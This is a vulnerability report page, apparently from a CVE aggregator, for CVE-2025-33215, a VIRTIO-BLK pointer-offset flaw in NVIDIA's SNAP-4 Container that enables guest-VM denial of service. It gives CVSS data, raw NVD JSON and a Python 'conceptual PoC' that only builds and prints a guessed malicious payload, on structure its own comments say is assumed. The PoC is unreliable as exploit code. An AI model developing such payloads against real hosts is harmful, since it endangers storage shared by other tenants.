Security Vulnerability Report
中文
CVE-2025-33215 CVSS 6.8 MEDIUM

CVE-2025-33215

Published: 2026-03-24 21:16:24
Last Modified: 2026-03-25 15:41:58

Description

NVIDIA SNAP-4 Container contains a vulnerability in the VIRTIO-BLK component where a malicious guest VM may cause use of out-of-range pointer offset by sending crafted messages. A successful exploit of this vulnerability may lead to a denial of service of the DPA and impact the availability of storage to other VMs.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

NVIDIA SNAP-4 Container (具体受影响版本请参考NVIDIA官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-33215 This script demonstrates crafting a VIRTIO-BLK request with a malicious pointer offset to trigger an out-of-bounds access. Note: This is a simulation for analysis purposes. """ import struct def craft_malicious_virtio_request(): # VIRTIO_BLK_REQ header structure (simplified) # type (32-bit), reserved (32-bit), sector (64-bit) # Normal request type: VIRTIO_BLK_T_IN = 0 # We focus on the memory offset logic which is usually part of the descriptor chain # In a real exploit, this would involve setting up the Virtqueue descriptor # with an invalid address or length. TYPE_READ = 0 RESERVED = 0 # The sector number itself might not be the trigger, but the payload handling. # Assuming the vulnerability is in how the buffer address is calculated from guest inputs. # Let's simulate sending a message with an invalid offset parameter # that the vulnerable driver interprets as a pointer. print("[*] Crafting malicious VIRTIO-BLK header...") # This represents the data sent to the VIRTIO-BLK device # The specific 'offset' field triggering the bug would be context-dependent # based on the NVIDIA SNAP-4 implementation details. malicious_offset = 0xFFFFFFFFFFFFFFFF # Max value to force out-of-bounds # Construct a payload that includes this offset # (Structure depends on specific protocol implementation of SNAP-4) payload = struct.pack('<IIQ', TYPE_READ, RESERVED, 0) # Standard header payload += struct.pack('<Q', malicious_offset) # Malicious extension return payload if __name__ == "__main__": poc = craft_malicious_virtio_request() print(f"[+] Malicious payload generated (length: {len(poc)} bytes)") print(f"[!] Payload hexdump: {poc.hex()}") print("[!] In a real scenario, this would be injected via a Guest VM to the Host VIRTIO device.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33215", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:23.677", "lastModified": "2026-03-25T15:41:58.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA SNAP-4 Container contains a vulnerability in the VIRTIO-BLK component where a malicious guest VM may cause use of out-of-range pointer offset by sending crafted messages. A successful exploit of this vulnerability may lead to a denial of service of the DPA and impact the availability of storage to other VMs."}, {"lang": "es", "value": "NVIDIA SNAP-4 Contenedor contiene una vulnerabilidad en el componente VIRTIO-BLK donde una VM invitada maliciosa puede causar el uso de un desplazamiento de puntero fuera de rango al enviar mensajes manipulados. Un exploit exitoso de esta vulnerabilidad puede llevar a una denegación de servicio de la DPA y afectar la disponibilidad del almacenamiento para otras VMs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-823"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33215", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5744", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33215", "source": "[email protected]"}]}}